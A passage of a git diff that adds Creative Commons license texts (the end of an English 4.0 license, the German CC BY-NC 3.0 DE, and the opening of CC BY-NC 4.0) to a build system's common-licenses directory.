+ 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
+
+ 2. Patent and trademark rights are not licensed under this Public License.
+
+ 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties.
+
+Section 3 – License Conditions.
+
+Your exercise of the Licensed Rights is expressly made subject to the following conditions.
+
+ a. Attribution.
+
+ 1. If You Share the Licensed Material (including in modified form), You must:
+
+ A. retain the following if it is supplied by the Licensor with the Licensed Material:
+
+ i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
+
+ ii. a copyright notice;
+
+ iii. a notice that refers to this Public License;
+
+ iv. a notice that refers to the disclaimer of warranties;
+
+ v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
+
+ B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
+
+ C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
+
+ 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
+
+ 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
+
+ 4. If You Share Adapted Material You produce, the Adapter's License You apply must not prevent recipients of the Adapted Material from complying with this Public License.
+
+Section 4 – Sui Generis Database Rights.
+
+Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
+
+ a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database;
+
+ b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and
+
+ c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
+For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
+
+Section 5 – Disclaimer of Warranties and Limitation of Liability.
+
+ a. Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.
+
+ b. To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.
+
+ c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
+
+Section 6 – Term and Termination.
+
+ a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
+
+ b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
+
+ 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
+
+ 2. upon express reinstatement by the Licensor.
+
+ c. For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
+
+ d. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
+
+ e. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
+
+Section 7 – Other Terms and Conditions.
+
+ a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
+
+ b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.
+
+Section 8 – Interpretation.
+
+ a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
+
+ b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
+
+ c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
+
+ d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
+
+Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
+
+Creative Commons may be contacted at creativecommons.org.
diff --git a/meta/files/common-licenses/CC-BY-NC-3.0-DE b/meta/files/common-licenses/CC-BY-NC-3.0-DE
new file mode 100644
index 0000000000..5d11815286
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-3.0-DE
@@ -0,0 +1,110 @@
+Creative Commons Namensnennung - Keine kommerzielle Nutzung 3.0 Deutschland
+
+ CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Abwandlung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange die eigenpersönlichen Züge des Schutzgegenstandes darin nicht verblassen und daran eigene Schutzrechte entstehen. Das kann insbesondere eine Bearbeitung, Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Abwandlung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Benutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand oder Abwandlungen im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit anzubieten oder in Verkehr zu bringen.
+
+ d. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ e. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person oder Gruppe von Personen, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und bei dem eine Einräumung von Nutzungsrechten oder eine Weiterübertragung an Dritte möglich ist.
+
+ f. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine persönliche geistige Schöpfung jeglicher Art, ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff "Schutzgegenstand" im Sinne dieser Lizenz.
+
+ g. Mit "Sie" bzw. "Ihne*" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährten Nutzungsrechte trotz eines vorherigen Verstoßes auszuüben.
+
+ h. Unter "Öffentlich Zeigen" im Sinne dieser Lizenz sind Veröffentlichungen und Präsentationen des Schutzgegenstandes zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und in unkörperlicher Form mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung, zeit- und ortsunabhängiger Zugänglichmachung oder in körperlicher Form mittels Ausstellung erfolgen, unabhängig von bestimmten Veranstaltungen und unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ i. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, mittels beliebiger Verfahren Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch den Vorgang, erstmals körperliche Fixierungen des Schutzgegenstandes sowie Vervielfältigungsstücke dieser Fixierungen anzufertigen, sowie die Übertragung des Schutzgegenstandes auf einen Bild- oder Tonträger oder auf ein anderes elektronisches Medium, gleichviel ob in digitaler oder analoger Form.
+
+2. Schranken des Immaterialgüterrechts. Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die Ihnen aufgrund der Schranken des Urheberrechts oder anderer Rechtsnormen bereits ohne Weiteres zustehen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Einräumung von Nutzungsrechten. Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 4.e) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann"):
+
+ a. Den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. Abwandlungen des Schutzgegenstandes anzufertigen, einschließlich Übersetzungen unter Nutzung jedweder Medien, sofern deutlich erkennbar gemacht wird, dass es sich um Abwandlungen handelt;
+
+ c. den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich zu zeigen und zu verbreiten;
+
+ d. Abwandlungen des Schutzgegenstandes zu veröffentlichen, öffentlich zu zeigen und zu verbreiten.
+
+Das vorgenannte Nutzungsrecht wird für alle bekannten sowie für alle noch nicht bekannten Nutzungsarten eingeräumt. Es beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich durch den Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf sämtliche aus diesem Schutz resultierenden Rechte.
+
+4. Bedingungen. Die Einräumung des Nutzungsrechts gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zeigen. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.a) gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.c) aufgezählten Hinweise entfernen. Wenn Sie eine Abwandlung vornehmen, müssen Sie auf die Mitteilung eines Lizenzgebers hin von der Abwandlung die in Abschnitt 4.c) aufgezählten Hinweise entfernen.
+
+ b. Die Rechteeinräumung gemäß Abschnitt 3 gilt nur für Handlungen, die nicht vorrangig auf einen geschäftlichen Vorteil oder eine geldwerte Vergütung gerichtet sind ("nicht-kommerzielle Nutzung", "Non-commercial-Option"). Wird Ihnen in Zusammenhang mit dem Schutzgegenstand dieser Lizenz ein anderer Schutzgegenstand überlassen, ohne dass eine vertragliche Verpflichtung hierzu besteht (etwa im Wege von File-Sharing), so wird dies nicht als auf geschäftlichen Vorteil oder geldwerte Vergütung gerichtet angesehen, wenn in Verbindung mit dem Austausch der Schutzgegenstände tatsächlich keine Zahlung oder geldwerte Vergütung geleistet wird.
+
+ c. Die Verbreitung und das öffentliche Zeigen des Schutzgegenstandes oder auf ihm aufbauender Abwandlungen oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie - soweit bekannt - Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers und / oder, falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) ("Zuschreibungsempfänger"), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand;
+
+ iv. und im Falle einer Abwandlung des Schutzgegenstandes in Übereinstimmung mit Abschnitt 3.b) einen Hinweis darauf, dass es sich um eine Abwandlung handelt.
+
+ Die nach diesem Abschnitt 4.c) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle einer Abwandlung des Schutzgegenstandes oder eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung mehrerer Rechteinhaber dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Lizenzgebers und / oder des Zuschreibungsempfängers weder explizit noch implizit irgendeine Verbindung zum Lizenzgeber oder Zuschreibungsempfänger und ebenso wenig eine Unterstützung oder Billigung durch ihn andeuten.
+
+ d. Die oben unter 4.a) bis c) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ e. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechende Vergütung einzuziehen für jede Ausübung eines Rechts aus dieser Lizenz durch Sie.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, behält sich der Lizenzgeber das ausschließliche Recht auf Einziehung der entsprechenden Vergütung für den Fall vor, dass Sie eine Nutzung des Schutzgegenstandes für andere als die in Abschnitt 4.b) als nicht-kommerziell definierten Zwecke vornehmen, verzichtet für alle übrigen, lizenzgerechten Fälle von Nutzung jedoch auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Einziehung der Vergütung durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre. Der Lizenzgeber behält sich jedoch das ausschließliche Recht auf Einziehung der entsprechenden Vergütung (durch ihn selbst oder eine Verwertungsgesellschaft) für den Fall vor, dass Sie eine Nutzung des Schutzgegenstandes für andere als die in Abschnitt 4.b) als nicht-kommerziell definierten Zwecke vornehmen.
+
+ f. Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE EINRÄUMUNG VON RECHTEN UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN. DIESE GEWÄHRLEISTUNGSBESCHRÄNKUNG GILT NICHT, SOWEIT MÄNGEL ZU SCHÄDEN DER IN ABSCHNITT 6 BEZEICHNETEN ART FÜHREN UND AUF SEITEN DES LIZENZGEBERS DAS JEWEILS GENANNTE VERSCHULDEN BZW. VERTRETENMÜSSEN EBENFALLS VORLIEGT.
+
+6. Haftungsbeschränkung
+
+DER LIZENZGEBER HAFTET IHNEN GEGENÜBER IN BEZUG AUF SCHÄDEN AUS DER VERLETZUNG DES LEBENS, DES KÖRPERS ODER DER GESUNDHEIT NUR, SOFERN IHM WENIGSTENS FAHRLÄSSIGKEIT VORZUWERFEN IST, FÜR SONSTIGE SCHÄDEN NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie eingeräumten Nutzungsrechte erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die Abwandlungen des Schutzgegenstandes oder diesen enthaltende Sammelwerke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Jedes Mal wenn Sie eine Abwandlung des Schutzgegenstandes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz am ursprünglichen Schutzgegenstand zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ c. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ d. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ e. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß Ziffern 8.a) und b) angeboteten Lizenzen aus.
+
+ f. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Bundesrepublik Deutschland Anwendung.
+
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-NC-4.0 b/meta/files/common-licenses/CC-BY-NC-4.0
new file mode 100644
index 0000000000..340cf0c959
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-4.0
@@ -0,0 +1,158 @@
+Creative Commons Attribution-NonCommercial 4.0 International
+
+ Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.
+
+Using Creative Commons Public Licenses
+
+Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.
+
+Considerations for licensors: Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. More considerations for licensors.
+
+Considerations for the public: By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. More considerations for the public.
+
+Creative Commons Attribution-NonCommercial 4.0 International Public License
+
+By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NonCommercial 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
+
+Section 1 – Definitions.
+
+ a. Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
+
+ b. Adapter's License means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License.
+
+ c. Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
+
+ d. Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
+
